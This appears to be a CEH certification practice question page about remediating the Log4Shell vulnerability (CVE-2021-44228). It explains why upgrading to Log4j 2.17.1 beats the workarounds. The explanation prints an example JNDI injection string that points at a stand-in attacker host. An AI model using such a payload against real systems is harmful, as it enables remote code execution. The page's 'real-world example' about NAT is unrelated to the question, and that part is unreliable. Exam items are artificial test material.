Quick Answer
The answer is to update Log4j to version 2.17.1 or later. This is correct because CVE-2021-44228, known as Log4Shell, is a critical remote code execution vulnerability in Apache Log4j versions 2.0 through 2.14.1, triggered by JNDI lookups processed in log messages; version 2.17.1 fully patches the flaw by disabling JNDI lookups by default and fixing the LDAP deserialization vector, addressing the root cause without relying on temporary workarounds. On the Certified Ethical Hacker CEH exam, this question tests your ability to prioritize vendor-recommended remediation over mitigations like setting system properties or removing the JndiLookup class, which are only stopgaps. A common trap is choosing to block outbound LDAP traffic or upgrade to an earlier patch like 2.15.0, but 2.17.1 is the definitive fix. Memory tip: think “17.1” as the “one and only” complete patch for Log4Shell.
This CEH practice question tests your understanding of vulnerability analysis and system hacking. Read the scenario carefully and evaluate each option against the stated constraints before committing to an answer. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
A security analyst runs a vulnerability scan and finds that a server is vulnerable to CVE-2021-44228 (Log4j). Which of the following is the best immediate remediation step?
Clue words in this question
Noticing these words before you look at the options changes how you read each choice.
Clue: "best"
Why it matters: Signals that multiple options may be partially correct. Choose the option that most directly solves the exact problem described, not the one that sounds most complete.
Update Log4j to version 2.17.1 or later
Patching directly addresses the vulnerability.
Remove the JndiLookup class from the Log4j jar
Why wrong: This is a workaround, but patching is preferred.
Disable JDBC appender in Log4j configuration
Why wrong: This only mitigates one attack vector.
Block outbound traffic from the server to the internet
Why wrong: This is a temporary mitigation, not a fix.
Answer choices
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
Update Log4j to version 2.17.1 or later
Option A is correct because CVE-2021-44228 (Log4Shell) is a remote code execution vulnerability in Apache Log4j versions 2.0 through 2.14.1, triggered by JNDI lookups in log messages. Updating to Log4j 2.17.1 or later fully patches the flaw by disabling JNDI lookups by default and fixing the LDAP deserialization vector. This is the vendor-recommended immediate remediation step as it addresses the root cause without relying on workarounds.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
For each option: why learners choose it and why it is or isn't the right answer here.
Update Log4j to version 2.17.1 or later
Why this is correct
Patching directly addresses the vulnerability.
Clue confirmation
The clue word "best" in the question point toward this answer.
Related concept
Read the scenario before looking for a memorised answer.
Remove the JndiLookup class from the Log4j jar
Why it's wrong here
This is a workaround, but patching is preferred.
Disable JDBC appender in Log4j configuration
Why it's wrong here
This only mitigates one attack vector.
Block outbound traffic from the server to the internet
Why it's wrong here
This is a temporary mitigation, not a fix.
Common exam traps
The trap here is that candidates often choose Option B (removing JndiLookup) because it was widely publicized as a quick fix, but the CEH exam expects you to know that only a full version update to 2.17.1 or later is the complete and recommended remediation, as the class removal is version-dependent and does not address all attack surfaces.
Detailed technical explanation
The Log4Shell vulnerability exploits the JNDI lookup feature in Log4j, which allows an attacker to inject a malicious LDAP or RMI URL (e.g., ${jndi:ldap://attacker.com/a}) into a log message. When Log4j processes the message, it performs a JNDI lookup that downloads and executes arbitrary Java code from the attacker's server. The patch in version 2.17.1 completely disables JNDI lookups by default and also mitigates related CVEs like CVE-2021-45046 and CVE-2021-45105, making it the definitive fix.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
A small business has 20 workstations on the 192.168.1.0/24 network and one public IP from its ISP. The router uses PAT (NAT overload) so all 20 devices share one public address using different source ports. NAT questions test whether you understand the four address terms and which direction each translation applies.
What to study next
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FAQ
Vulnerability Analysis and System Hacking — This question tests Vulnerability Analysis and System Hacking — Read the scenario before looking for a memorised answer..
The correct answer is: Update Log4j to version 2.17.1 or later — Option A is correct because CVE-2021-44228 (Log4Shell) is a remote code execution vulnerability in Apache Log4j versions 2.0 through 2.14.1, triggered by JNDI lookups in log messages. Updating to Log4j 2.17.1 or later fully patches the flaw by disabling JNDI lookups by default and fixing the LDAP deserialization vector. This is the vendor-recommended immediate remediation step as it addresses the root cause without relying on workarounds.
Identify which exam domain this question belongs to, review the core concept, then practise similar questions from the same domain.
Yes — watch for: "best". Signals that multiple options may be partially correct. Choose the option that most directly solves the exact problem described, not the one that sounds most complete.
Read the scenario before looking for a memorised answer.
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Last reviewed: Jun 11, 2026
This CEH practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CEH exam.
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